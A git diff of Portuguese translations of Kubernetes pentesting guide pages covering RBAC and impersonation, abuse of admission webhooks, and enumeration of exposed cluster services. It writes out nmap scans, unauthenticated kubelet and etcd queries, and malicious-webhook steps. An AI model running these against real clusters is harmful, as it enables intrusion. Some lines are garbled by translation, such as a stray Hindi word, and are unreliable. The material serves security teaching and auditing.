- verb `impersonate` em `users`, `groups` e `serviceaccounts` no core API group, e `userextras` no API group `authentication.k8s.io`.
|
||||
- verb `impersonate` em `users`, `groups` e `serviceaccounts` no core API group, e os `userextras` no API group `authentication.k8s.io`.
|
||||
|
||||
Kubernetes v1.36 também inclui **constrained impersonation** como uma feature beta. Em vez de conceder apenas o antigo verb `impersonate`, tudo ou nada, clusters podem conceder verbs específicos por modo, como `impersonate:user-info`, `impersonate:serviceaccount`, `impersonate:arbitrary-node` ou `impersonate:associated-node`, além de verbs específicos de ação como `impersonate-on:user-info:list` no target resource. Revise as duas partes: a identidade que o subject pode impersonate e as ações que ele pode executar enquanto impersonating. Regras legadas `impersonate` ainda podem permitir acesso mais amplo, então não assuma que verbs com aparência restrita são aplicados, a menos que a versão do API server e as evidências de access-review confirmem isso.
|
||||
|
||||
> [!WARNING]
|
||||
> Você pode encontrar **todos os verbs que cada resource suporta** executando `kubectl api-resources --sort-by name -o wide`
|
||||
@@ -86,7 +94,7 @@ kubectl get pods --all-namespaces
|
||||
```
|
||||
### **RoleBinding e ClusterRoleBinding**
|
||||
|
||||
[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) Um **role binding concede as permissões definidas em uma role a um usuário ou conjunto de usuários**. Ele mantém uma lista de subjects (users, groups, or service accounts) e uma referência à role que está sendo concedida. Um **RoleBinding** concede permissões dentro de um **namespace** específico, enquanto um **ClusterRoleBinding** concede esse acesso **em todo o cluster**.
|
||||
[**Dos docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) Um **role binding concede as permissões definidas em um role para um usuário ou conjunto de usuários**. Ele mantém uma lista de subjects (users, groups, or service accounts) e uma referência ao role que está sendo concedido. Um **RoleBinding** concede permissões dentro de um **namespace** específico, enquanto um **ClusterRoleBinding** concede esse acesso em todo o **cluster**.
|
||||
```yaml:RoleBinding
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
# This role binding allows "jane" to read pods in the "default" namespace.
|
||||
@@ -122,11 +130,11 @@ kind: ClusterRole
|
||||
name: secret-reader
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
```
|
||||
**Permissões são aditivas** então se você tem um clusterRole com “list” e “delete” secrets você pode adicioná-lo com um Role com “get”. Então fique atento e teste sempre seus roles e permissions e **especifique o que é PERMITIDO, porque tudo é NEGADO por padrão.**
|
||||
**Permissions are additive** então, se você tiver um clusterRole com “list” e “delete” secrets, você pode adicioná-lo com um Role com “get”. Então, esteja atento e teste sempre suas roles e permissions e **especifique o que é ALLOWED, porque tudo é DENIED por padrão.**
|
||||
|
||||
### Detalhes que valem a pena verificar
|
||||
### Details worth checking
|
||||
|
||||
RBAC usa resource names como aparecem nas API URLs, não o YAML `kind`. Um Pod é `pods`, um Deployment é `deployments`, e subresources são escritos com uma barra como `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` ou `services/proxy`. Uma permission em `pods` não concede automaticamente acesso a `pods/exec` ou `pods/log`.
|
||||
RBAC usa os nomes de recursos como aparecem nas API URLs, não o YAML `kind`. Um Pod é `pods`, um Deployment é `deployments`, e subresources são escritos com uma barra, como `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` ou `services/proxy`. Uma permissão em `pods` não concede automaticamente acesso a `pods/exec` ou `pods/log`.
|
||||
|
||||
`resourceNames` pode restringir algumas requests a nomes específicos de objetos:
|
||||
```yaml
|
||||
@@ -136,7 +144,7 @@ resources: ["configmaps"]
|
||||
resourceNames: ["app-config"]
|
||||
verbs: ["get", "update"]
|
||||
```
|
||||
Isso não restringe `create` ou `deletecollection` de nível superior por nome. Para `list` e `watch`, o cliente deve incluir um seletor de campo `metadata.name` correspondente, caso contrário a solicitação não é autorizada por essa regra:
|
||||
Isso não restringe `create` ou `deletecollection` de nível superior por nome. Para `list` e `watch`, o cliente deve incluir um seletor de campo `metadata.name` correspondente; caso contrário, a solicitação não é autorizada por essa regra:
|
||||
```bash
|
||||
kubectl get configmaps -n default --field-selector=metadata.name=app-config
|
||||
```
|
||||
@@ -147,6 +155,7 @@ kubectl auth can-i create serviceaccounts/token -n default
|
||||
kubectl auth can-i impersonate users
|
||||
kubectl auth can-i bind clusterroles.rbac.authorization.k8s.io
|
||||
kubectl auth can-i escalate clusterroles.rbac.authorization.k8s.io
|
||||
kubectl auth can-i impersonate-on:user-info:list pods -n default
|
||||
```
|
||||
## **Enumerando RBAC**
|
||||
```bash
|
||||
@@ -170,7 +179,7 @@ kubectl describe roles
|
||||
kubectl get rolebindings
|
||||
kubectl describe rolebindings
|
||||
```
|
||||
### Abuse Role/ClusterRoles for Privilege Escalation
|
||||
### Abusar de Role/ClusterRoles para Escalada de Privilégios
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/
|
||||
|
||||
+76
-64
@@ -4,24 +4,24 @@
|
||||
|
||||
**O autor original desta página é** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
|
||||
## Definition
|
||||
## Definição
|
||||
|
||||
`ValidatingWebhookConfiguration` é um recurso do Kubernetes que registra um ou mais validating admission webhooks. Esses webhooks recebem requests AdmissionReview do API server após authentication e authorization, mas antes de o object ser persistido.
|
||||
|
||||
Validating webhooks podem rejeitar uma request. Mutating webhooks, configurados com `MutatingWebhookConfiguration`, podem change o object primeiro. Security reviews normalmente devem inspecionar ambos os resources porque um mutating webhook malicioso ou fraco pode reescrever workloads, enquanto um validating webhook ou policy engine pode bloqueá-los ou permiti-los.
|
||||
Validating webhooks podem rejeitar um request. Mutating webhooks, configurados com `MutatingWebhookConfiguration`, podem alterar o object primeiro. Security reviews normalmente devem inspecionar ambos os resources porque um mutating webhook malicioso ou fraco pode reescrever workloads, enquanto um validating webhook ou policy engine pode bloqueá-los ou अनुमति-los.
|
||||
|
||||
## Purpose
|
||||
## Propósito
|
||||
|
||||
O propósito de um `ValidatingWebhookConfiguration` é definir quando o API server deve chamar um validating webhook e como ele deve lidar com o resultado do webhook. A questão importante de security não é apenas "uma policy está instalada?", mas também:
|
||||
O propósito de um `ValidatingWebhookConfiguration` é definir quando o API server deve chamar um validating webhook e como ele deve tratar o resultado do webhook. A questão de security importante não é apenas "há uma policy instalada?", mas também:
|
||||
|
||||
- Quais API groups, resources, operations e scopes ele corresponde?
|
||||
- Quais namespaces ou objects são excluídos por selectors?
|
||||
- `matchConditions` ignora algum tipo de request?
|
||||
- `failurePolicy` falha aberto com `Ignore` ou falha fechado com `Fail`?
|
||||
- O webhook service está acessível, confiável pelo `caBundle` configurado e executado por um service account com privilégios elevados?
|
||||
- O serviço do webhook está acessível, confiável pelo `caBundle` configurado e executado por uma service account com altos privilégios?
|
||||
- O policy engine também expõe exception resources, excluded users ou excluded groups?
|
||||
|
||||
**Example**
|
||||
**Exemplo**
|
||||
|
||||
Aqui está um exemplo de um ValidatingWebhookConfiguration:
|
||||
```yaml
|
||||
@@ -57,8 +57,8 @@ A principal diferença entre uma ValidatingWebhookConfiguration e policies :
|
||||
|
||||
<figure><img src="../../images/Kyverno.png" alt=""><figcaption><p>Kyverno.png</p></figcaption></figure>
|
||||
|
||||
- **ValidatingWebhookConfiguration (VWC)** : Um recurso do Kubernetes que define um validating webhook, que é um componente do lado do servidor que valida requisições recebidas da API do Kubernetes com base em um conjunto de regras e restrições predefinidas.
|
||||
- **Kyverno ClusterPolicy**: Uma definição de policy que especifica um conjunto de regras e restrições para validar e impor Kubernetes resources, como pods, deployments, e services
|
||||
- **ValidatingWebhookConfiguration (VWC)** : Um recurso do Kubernetes que define um validating webhook, que é um componente server-side que valida requisições recebidas da Kubernetes API contra um conjunto de regras e constraints predefinidos.
|
||||
- **Kyverno ClusterPolicy**: Uma definição de policy que especifica um conjunto de regras e constraints para validar e impor recursos do Kubernetes, como pods, deployments e services
|
||||
|
||||
## Enumeration
|
||||
```
|
||||
@@ -69,14 +69,35 @@ $ kubectl get svc,deploy,pod -A | grep -i webhook
|
||||
```
|
||||
Campos a inspecionar:
|
||||
|
||||
- `rules`: Verifique os API groups, versions, resources, subresources, operations e scope cobertos.
|
||||
- `namespaceSelector` / `objectSelector`: Procure namespaces ou labels que excluam recursos da policy.
|
||||
- `matchConditions`: Expressões CEL podem, intencionalmente ou por engano, pular requests.
|
||||
- `failurePolicy`: `Ignore` deixa as requests continuarem se o webhook falhar; `Fail` as bloqueia.
|
||||
- `rules`: Verifique grupos de API, versões, resources, subresources, operations e scope cobertos.
|
||||
- `namespaceSelector` / `objectSelector`: Procure namespaces ou labels que excluam resources da policy.
|
||||
- `matchConditions`: Expressões CEL podem, intencionalmente ou por engano, ignorar requests.
|
||||
- `failurePolicy`: `Ignore` permite que requests continuem se o webhook falhar; `Fail` os bloqueia.
|
||||
- `sideEffects`: Webhooks com side effects podem não suportar testes dry-run.
|
||||
- `timeoutSeconds`: Timeouts muito curtos combinados com `Ignore` podem virar comportamento fail-open.
|
||||
- `clientConfig`: Revise se o webhook aponta para um Service in-cluster ou URL externa, e inspecione o workload de suporte e a service account.
|
||||
- `reinvocationPolicy`: Mutating webhooks podem ser reinvocados quando uma mutação posterior altera o objeto.
|
||||
- `clientConfig`: Revise se o webhook aponta para um Service in-cluster ou URL externa, e inspecione o workload de back-end e o service account.
|
||||
- `reinvocationPolicy`: Webhooks mutating podem ser reinvocados quando uma mutação posterior altera o objeto.
|
||||
|
||||
### Native CEL admission policies
|
||||
|
||||
Clusters modernos também podem impor lógica de admission com objetos de policy nativos em `admissionregistration.k8s.io`, não apenas com configurações de webhook. `ValidatingAdmissionPolicy` é uma alternativa in-process baseada em CEL aos validating webhooks e só fica ativa quando um `ValidatingAdmissionPolicyBinding` a seleciona. `MutatingAdmissionPolicy` é estável no Kubernetes v1.36 e é ativada por `MutatingAdmissionPolicyBinding` para mutações geradas por CEL.
|
||||
|
||||
Enumere-os com:
|
||||
```bash
|
||||
kubectl api-resources --api-group=admissionregistration.k8s.io -o wide
|
||||
kubectl get validatingadmissionpolicies,validatingadmissionpolicybindings
|
||||
kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings 2>/dev/null || true
|
||||
kubectl get validatingadmissionpolicy <name> -o yaml
|
||||
kubectl get validatingadmissionpolicybinding <name> -o yaml
|
||||
```
|
||||
Security checks:
|
||||
|
||||
- Uma policy sem um binding não impõe nada.
|
||||
- `validationActions` no binding decide se falhas de validação são negadas, avisadas, auditadas ou apenas registradas.
|
||||
- `failurePolicy: Ignore` permite que erros de avaliação do CEL ou má configuração façam fail open.
|
||||
- `matchConstraints`, `matchConditions`, `namespaceSelector` e `objectSelector` podem excluir requisições sensíveis.
|
||||
- `paramKind` e `paramRef` podem fazer com que ConfigMaps ou objetos de parâmetro respaldados por CRD façam parte do boundary da policy; verifique quem pode modificar esses objetos de parâmetro.
|
||||
- Writes em policies, bindings e recursos de parâmetro devem ser tratados como mudanças privilegiadas de admission-control.
|
||||
|
||||
### Abusing Kyverno and Gatekeeper VWC
|
||||
|
||||
@@ -84,62 +105,51 @@ Como podemos ver, todos os operators instalados têm pelo menos uma ValidatingWe
|
||||
|
||||
**Kyverno** e **Gatekeeper** são ambos Kubernetes policy engines que fornecem um framework para definir e aplicar policies em um cluster.
|
||||
|
||||
Exceções se referem a regras ou condições específicas que permitem que uma policy seja contornada ou modificada sob certas circunstâncias, mas esta não é a única forma !
|
||||
Exceptions referem-se a regras ou condições específicas que permitem que uma policy seja contornada ou modificada sob certas circunstâncias, mas essa não é a única forma !
|
||||
|
||||
Para **kyverno**, assim que há uma validating policy, o webhook `kyverno-resource-validating-webhook-cfg` é populado.
|
||||
Para **kyverno**, assim como existe uma validating policy, o webhook `kyverno-resource-validating-webhook-cfg` é populado.
|
||||
|
||||
Para Gatekeeper, existe o arquivo YAML `gatekeeper-validating-webhook-configuration`.
|
||||
|
||||
Ambos vêm com valores padrão, mas as equipes de Administrators podem ter atualizado esses 2 arquivos.
|
||||
Ambos vêm com valores padrão, mas as equipes Administradoras podem ter atualizado esses 2 arquivos.
|
||||
|
||||
### Use Case
|
||||
```bash
|
||||
$ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml
|
||||
```
|
||||
**ValidatingWebhookConfiguration**
|
||||
```markdown
|
||||
# Kubernetes ValidatingWebhookConfiguration
|
||||
|
||||
`ValidatingWebhookConfiguration` is a **resource** in Kubernetes used to register **webhooks** that validate requests to the API server before they are accepted. When a resource is created, updated, or deleted, the API server can send the request to an external service for validation.
|
||||
<small><i>Voltar para [Kubernetes Security](../kubernetes-security)</i></small>
|
||||
|
||||
This object lets you enforce custom policies, such as:
|
||||
- blocking forbidden images,
|
||||
- requiring labels or annotations,
|
||||
- rejecting unsafe configurations.
|
||||
O `ValidatingWebhookConfiguration` é um recurso do Kubernetes que permite definir webhooks que validam requisições à API do Kubernetes antes que elas sejam persistidas. Ele é usado para aplicar políticas personalizadas, controles de segurança e validação de dados em eventos como criação, atualização ou exclusão de recursos.
|
||||
|
||||
### Main points
|
||||
- It is defined under the `admissionregistration.k8s.io` API group.
|
||||
- It can contain one or more `webhooks`.
|
||||
- Each webhook specifies:
|
||||
- `rules` for which operations/resources it applies to,
|
||||
- `clientConfig` pointing to the service or URL,
|
||||
- `caBundle` for TLS trust,
|
||||
- `failurePolicy` to decide what happens if the webhook is unavailable.
|
||||
É importante notar que, em um cluster Kubernetes comprometido ou mal configurado, um atacante com acesso suficiente pode abusar de `ValidatingWebhookConfiguration` para interceptar e validar requisições da API. Ao registrar um webhook malicioso, ele pode influenciar ou bloquear operações no cluster, potencialmente causando interrupções ou permitindo manipulação de recursos.
|
||||
|
||||
### Example
|
||||
```yaml
|
||||
apiVersion: admissionregistration.k8s.io/v1
|
||||
kind: ValidatingWebhookConfiguration
|
||||
metadata:
|
||||
name: example-webhook
|
||||
webhooks:
|
||||
- name: validate.example.com
|
||||
clientConfig:
|
||||
service:
|
||||
name: webhook-service
|
||||
namespace: default
|
||||
path: /validate
|
||||
caBundle: <base64-encoded-ca>
|
||||
rules:
|
||||
- apiGroups: ["apps"]
|
||||
apiVersions: ["v1"]
|
||||
operations: ["CREATE", "UPDATE"]
|
||||
resources: ["deployments"]
|
||||
## Abusing ValidatingWebhookConfiguration
|
||||
|
||||
Suponha que um atacante tenha obtido acesso a um cluster Kubernetes com permissões suficientes para criar ou modificar `ValidatingWebhookConfiguration`. O processo para explorar essa capacidade pode incluir:
|
||||
|
||||
1. **Criar um serviço malicioso**: O atacante implanta um `Service` que aponta para um pod controlado por ele, capaz de receber e responder às solicitações de validação.
|
||||
|
||||
2. **Registrar o webhook**: O atacante define um `ValidatingWebhookConfiguration` que referencia esse `Service` malicioso e especifica quais recursos e operações da API devem ser validados.
|
||||
|
||||
3. **Interceptar requisições da API**: Quando usuários ou controladores legítimos tentam criar, atualizar ou excluir recursos correspondentes, o servidor da API chama o webhook do atacante.
|
||||
|
||||
4. **Manipular a resposta**: Dependendo da lógica implementada no webhook, o atacante pode aprovar, negar ou atrasar operações, afetando a integridade e a disponibilidade do cluster.
|
||||
|
||||
## Considerações de segurança
|
||||
|
||||
- Restrinja fortemente as permissões RBAC relacionadas a `admissionregistration.k8s.io`.
|
||||
- Use autenticação mútua e certificados válidos para webhooks de admissão.
|
||||
- Monitore e audite alterações em `ValidatingWebhookConfiguration`.
|
||||
- Garanta que os webhooks apontem apenas para serviços confiáveis e controlados por administradores.
|
||||
|
||||
## Referências
|
||||
|
||||
- [Kubernetes Admission Control](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/)
|
||||
- [Validating Admission Webhooks](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#validatingadmissionwebhooks)
|
||||
```
|
||||
|
||||
### Security note
|
||||
If an attacker can modify a `ValidatingWebhookConfiguration`, they may be able to:
|
||||
- bypass validation,
|
||||
- disable security controls,
|
||||
- or redirect admission traffic to a malicious service.
|
||||
```yaml
|
||||
namespaceSelector:
|
||||
matchExpressions:
|
||||
@@ -152,22 +162,22 @@ values:
|
||||
- kube-system
|
||||
- MYAPP
|
||||
```
|
||||
Aqui, `kubernetes.io/metadata.name` refere-se ao rótulo do nome do namespace. Namespaces com nomes na lista `values` serão excluídos da policy:
|
||||
Aqui, `kubernetes.io/metadata.name` se refere ao label do nome do namespace. Namespaces com nomes na lista `values` serão excluídos da policy:
|
||||
|
||||
Verifique a existência dos namespaces. Às vezes, devido à automação ou a uma misconfiguration, alguns namespaces podem não ter sido criados. Se você tiver permissão para criar namespace, você poderia criar um namespace com um nome na lista `values` e as policies não se aplicariam ao seu novo namespace.
|
||||
Verifique a existência dos namespaces. Às vezes, por automação ou misconfiguration, alguns namespaces podem não ter sido criados. Se você tiver permissão para criar namespace, você poderia criar um namespace com um nome na lista `values` e as policies não se aplicarão ao seu novo namespace.
|
||||
|
||||
O objetivo deste ataque é explorar **misconfiguration** dentro de VWC para contornar as restrições dos operators e então elevar seus privilégios com outras técnicas
|
||||
O objetivo deste ataque é explorar **misconfiguration** dentro de VWC para contornar restrições dos operators e então elevar seus privilégios com outras técnicas
|
||||
|
||||
Outros padrões comuns de bypass ou abuse:
|
||||
Outros padrões comuns de bypass ou abuso:
|
||||
|
||||
- Um `objectSelector` que permite aos usuários adicionar um rótulo de opt-out aos seus próprios objects.
|
||||
- `failurePolicy: Ignore` em validação crítica de segurança, especialmente quando o webhook Service não tem endpoints ou a rede é instável.
|
||||
- Um `objectSelector` que permite aos usuários adicionar um label de opt-out aos seus próprios objetos.
|
||||
- `failurePolicy: Ignore` em validação crítica de segurança, especialmente quando o webhook Service não tem endpoints ou a rede é pouco confiável.
|
||||
- Exceções do policy engine para users, groups, service accounts, namespaces ou roles mais amplas do que o pretendido.
|
||||
- Cobertura ausente para templates de workload controller, `pods/ephemeralcontainers`, `pods/exec`, custom resources ou operações de update.
|
||||
- Acesso de escrita a `validatingwebhookconfigurations`, `mutatingwebhookconfigurations`, Gatekeeper constraints, Kyverno policies ou exception resources.
|
||||
- Acesso de escrita a `validatingwebhookconfigurations`, `mutatingwebhookconfigurations`, constraints do Gatekeeper, policies do Kyverno ou resources de exceção.
|
||||
- Um mutating webhook malicioso que injeta containers, altera images, monta secrets, adiciona tolerations ou muda a seleção de service account antes da validação.
|
||||
|
||||
Lembre-se de que admission protege apenas requests que passam pela cadeia de admission do API server. Static Pods, acesso ao socket de runtime local do node, abuse direto do kubelet e acesso direto ao etcd são caminhos de confiança diferentes e exigem hardening e monitoramento separados.
|
||||
Lembre-se de que admission protege apenas requests que passam pela chain de admission do API server. Static Pods, acesso ao socket runtime local no node, abuso direto do kubelet e acesso direto ao etcd são caminhos de confiança diferentes e precisam de hardening e monitoring separados.
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/
|
||||
@@ -180,6 +190,8 @@ abusing-roles-clusterroles-in-kubernetes/
|
||||
- [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/)
|
||||
- [https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/](https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/)
|
||||
- [https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/)
|
||||
- [https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/)
|
||||
- [https://kubernetes.io/docs/reference/using-api/cel/](https://kubernetes.io/docs/reference/using-api/cel/)
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,25 +2,25 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Kubernetes usa vários **serviços de rede específicos** que você pode encontrar **expostos à Internet** ou em uma **rede interna depois de comprometer um pod**.
|
||||
Kubernetes usa vários **serviços de rede específicos** que você pode encontrar **expostos à Internet** ou em uma **rede interna depois que você comprometeu um pod**.
|
||||
|
||||
## Finding exposed pods with OSINT
|
||||
|
||||
Uma forma pode ser buscar por `Identity LIKE "k8s.%.com"` em [crt.sh](https://crt.sh) para encontrar subdomínios relacionados ao kubernetes. Outra forma pode ser buscar `"k8s.%.com"` no github e procurar por **arquivos YAML** contendo a string.
|
||||
Uma forma poderia ser buscar `Identity LIKE "k8s.%.com"` em [crt.sh](https://crt.sh) para encontrar subdomínios relacionados a kubernetes. Outra forma pode ser buscar `"k8s.%.com"` no github e procurar por **arquivos YAML** contendo a string.
|
||||
|
||||
Useful external recon signals to correlate before scanning:
|
||||
|
||||
- Nomes de DNS e certificate transparency contendo `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage`, ou nomes de região.
|
||||
- Nomes de cloud load balancer, CNAMEs, tags e hostnames do provider que possam ligar uma aplicação exposta ou a interface da plataforma a um cluster.
|
||||
- Repositórios públicos, logs de CI, valores de Helm, Terraform state, manifests renderizados, container images e documentação vazando kubeconfigs, API server URLs, namespaces, service accounts, `type: LoadBalancer`, `type: NodePort`, hosts de Ingress, listeners de Gateway ou configurações de dashboard.
|
||||
- Inventário de Kubernetes gerenciado, quando credenciais da cloud estiverem no escopo: acesso público/privado do endpoint EKS e CIDRs públicos, configurações públicas/privadas do plano de controle do GKE e authorized networks, e configurações de private cluster/API server authorized IP do AKS.
|
||||
- Ferramentas expostas da plataforma ao redor do cluster, como Argo CD, Prometheus, Grafana, Harbor, registries, dashboards de CI/CD, service mesh dashboards e endpoints de administração ou métricas do ingress-controller.
|
||||
- Nomes de cloud load balancer, CNAMEs, tags e hostnames de provider que podem vincular uma aplicação exposta ou a UI de uma plataforma de volta a um cluster.
|
||||
- Repositórios públicos, logs de CI, valores de Helm, Terraform state, manifests renderizados, imagens de container e documentação vazando kubeconfigs, URLs do API server, namespaces, service accounts, `type: LoadBalancer`, `type: NodePort`, hosts de Ingress, listeners de Gateway ou configurações do dashboard.
|
||||
- Inventário de managed Kubernetes, quando credenciais de cloud estiverem no escopo: acesso público/privado ao endpoint do EKS e CIDRs públicos, configurações públicas/privadas do control-plane do GKE e authorized networks, e configurações de private cluster/API server authorized IP do AKS.
|
||||
- Ferramentas de plataforma expostas ao redor do cluster, como Argo CD, Prometheus, Grafana, Harbor, registries, dashboards de CI/CD, service mesh dashboards e endpoints de admin ou métricas do ingress-controller.
|
||||
|
||||
Trate isso como pistas de atribuição e priorização. Uma aplicação Ingress pública é normal em muitos clusters, enquanto kubelet exposto, etcd, dashboard, controle de deploy de CI/CD ou kubeconfig vazado devem ter prioridade muito maior.
|
||||
Trate isso como pistas de atribuição e priorização. Uma aplicação pública em Ingress é normal em muitos clusters, enquanto kubelet, etcd, dashboard, controle de deploy de CI/CD ou material de kubeconfig vazado expostos devem ter prioridade muito maior.
|
||||
|
||||
## How Kubernetes Exposes Services
|
||||
|
||||
Pode ser útil entender como Kubernetes pode **expor serviços publicamente** para encontrá-los:
|
||||
Pode ser útil entender como o Kubernetes pode **expor serviços publicamente** para encontrá-los:
|
||||
|
||||
{{#ref}}
|
||||
../exposing-services-in-kubernetes.md
|
||||
@@ -32,20 +32,20 @@ As seguintes portas podem estar abertas em um cluster Kubernetes:
|
||||
|
||||
| Port | Process | Description |
|
||||
| --------------- | -------------- | ---------------------------------------------------------------------- |
|
||||
| 443/TCP | kube-apiserver | Porta da API do Kubernetes |
|
||||
| 443/TCP | kube-apiserver | Kubernetes API port |
|
||||
| 2379/TCP | etcd | |
|
||||
| 6666/TCP | etcd | etcd |
|
||||
| 4194/TCP | cAdvisor | Métricas de container |
|
||||
| 6443/TCP | kube-apiserver | Porta da API do Kubernetes |
|
||||
| 8443/TCP | kube-apiserver | Porta da API do Minikube |
|
||||
| 8080/TCP | kube-apiserver | Porta de API insegura |
|
||||
| 10250/TCP | kubelet | API HTTPS que permite acesso em modo full |
|
||||
| 10255/TCP | kubelet | Porta HTTP read-only sem autenticação: pods, pods em execução e estado do node |
|
||||
| 10256/TCP | kube-proxy | Servidor de health check do Kube Proxy |
|
||||
| 9099/TCP | calico-felix | Servidor de health check do Calico |
|
||||
| 6782-4/TCP | weave | Métricas e endpoints |
|
||||
| 30000-32767/TCP | NodePort | Proxy para os serviços |
|
||||
| 44134/TCP | Tiller | Serviço do Helm listening |
|
||||
| 4194/TCP | cAdvisor | Container metrics |
|
||||
| 6443/TCP | kube-apiserver | Kubernetes API port |
|
||||
| 8443/TCP | kube-apiserver | Minikube API port |
|
||||
| 8080/TCP | kube-apiserver | Insecure API port |
|
||||
| 10250/TCP | kubelet | HTTPS API which allows full mode access |
|
||||
| 10255/TCP | kubelet | Unauthenticated read-only HTTP port: pods, running pods and node state |
|
||||
| 10256/TCP | kube-proxy | Kube Proxy health check server |
|
||||
| 9099/TCP | calico-felix | Health check server for Calico |
|
||||
| 6782-4/TCP | weave | Metrics and endpoints |
|
||||
| 30000-32767/TCP | NodePort | Proxy to the services |
|
||||
| 44134/TCP | Tiller | Helm service listening |
|
||||
|
||||
### Nmap
|
||||
```bash
|
||||
@@ -53,15 +53,15 @@ nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-678
|
||||
```
|
||||
### Kube-apiserver
|
||||
|
||||
Este é o **serviço da API do Kubernetes** com o qual os administradores costumam interagir usando a ferramenta **`kubectl`**.
|
||||
Este é o **serviço de API do Kubernetes** com o qual os administradores se comunicam, geralmente usando a ferramenta **`kubectl`**.
|
||||
|
||||
**Portas comuns: 6443 e 443**, mas também 8443 no minikube e 8080 como insegura.
|
||||
**Portas comuns: 6443 e 443**, mas também 8443 no minikube e 8080 como insecure.
|
||||
```bash
|
||||
curl -k https://<IP Address>:(8|6)443/swaggerapi
|
||||
curl -k https://<IP Address>:(8|6)443/healthz
|
||||
curl -k https://<IP Address>:(8|6)443/api/v1
|
||||
```
|
||||
**Verifique a seguinte página para aprender como obter dados sensíveis e executar ações sensíveis falando com este serviço:**
|
||||
**Confira a seguinte página para aprender como obter dados sensíveis e realizar ações sensíveis falando com este serviço:**
|
||||
|
||||
{{#ref}}
|
||||
../kubernetes-enumeration.md
|
||||
@@ -69,18 +69,18 @@ curl -k https://<IP Address>:(8|6)443/api/v1
|
||||
|
||||
### Kubelet API
|
||||
|
||||
Este serviço **roda em cada node do cluster**. É o serviço que vai **controlar** os pods dentro do **node**. Ele fala com o **kube-apiserver**.
|
||||
Este serviço **roda em cada node do cluster**. É o serviço que vai **controlar** os pods dentro do **node**. Ele se comunica com o **kube-apiserver**.
|
||||
|
||||
Se você encontrar este serviço exposto, pode ter encontrado uma **RCE sem autenticação**.
|
||||
Se você encontrar este serviço exposto, talvez tenha encontrado um **RCE sem autenticação**.
|
||||
|
||||
#### Kubelet API
|
||||
```bash
|
||||
curl -k https://<IP address>:10250/metrics
|
||||
curl -k https://<IP address>:10250/pods
|
||||
```
|
||||
Se a resposta for `Unauthorized`, então é necessária autenticação.
|
||||
Se a resposta for `Unauthorized`, então ela requer autenticação.
|
||||
|
||||
Se você conseguir listar nodes, pode obter uma lista de endpoints de kubelets com:
|
||||
Se você conseguir listar nodes, você pode obter uma lista de endpoints kubelets com:
|
||||
```bash
|
||||
kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do
|
||||
ip=$(echo $node | awk '{print $1}')
|
||||
@@ -104,23 +104,23 @@ etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
|
||||
```bash
|
||||
helm --host tiller-deploy.kube-system:44134 version
|
||||
```
|
||||
Você poderia abusar deste service para escalar privilégios dentro de Kubernetes:
|
||||
Você poderia abusar deste serviço para escalar privilégios dentro de Kubernetes:
|
||||
|
||||
### cAdvisor
|
||||
|
||||
Service útil para coletar metrics.
|
||||
Serviço útil para coletar métricas.
|
||||
```bash
|
||||
curl -k https://<IP Address>:4194
|
||||
```
|
||||
### NodePort
|
||||
|
||||
Quando uma porta é exposta em todos os nodes via um **NodePort**, a mesma porta é aberta em todos os nodes, proxyando o tráfego para o **Service** declarado. Por padrão, essa porta estará no **range 30000-32767**. Então, novos services não verificados podem estar acessíveis por essas portas.
|
||||
Quando uma porta é exposta em todos os nodes via um **NodePort**, a mesma porta é aberta em todos os nodes, proxificando o tráfego para o **Service** declarado. Por padrão, essa porta estará na **range 30000-32767**. Assim, novos services não verificados podem ficar acessíveis por meio dessas portas.
|
||||
```bash
|
||||
sudo nmap -sS -p 30000-32767 <IP>
|
||||
```
|
||||
### Malha de serviços e superfícies de proxy
|
||||
### Service mesh and proxy surfaces
|
||||
|
||||
Clusters usando **Istio, Linkerd, Cilium service mesh, ou gateways baseados em Envoy** adicionam outra camada de serviço para enumerar. Uma malha pode fornecer mTLS, identidade de workload, roteamento L7, policy de authorization, telemetry e controles de gateway/egress, mas ela só protege o tráfego que realmente está inscrito e interceptado pela malha.
|
||||
Clusters using **Istio, Linkerd, Cilium service mesh, or Envoy-based gateways** adicionam outra camada de serviço para enumerar. Uma mesh pode fornecer mTLS, identidade de workload, roteamento L7, política de autorização, telemetry e controles de gateway/egress, mas ela só protege o tráfego que está de fato inscrito e interceptado pela mesh.
|
||||
|
||||
Verificações úteis a partir do acesso ao Kubernetes:
|
||||
```bash
|
||||
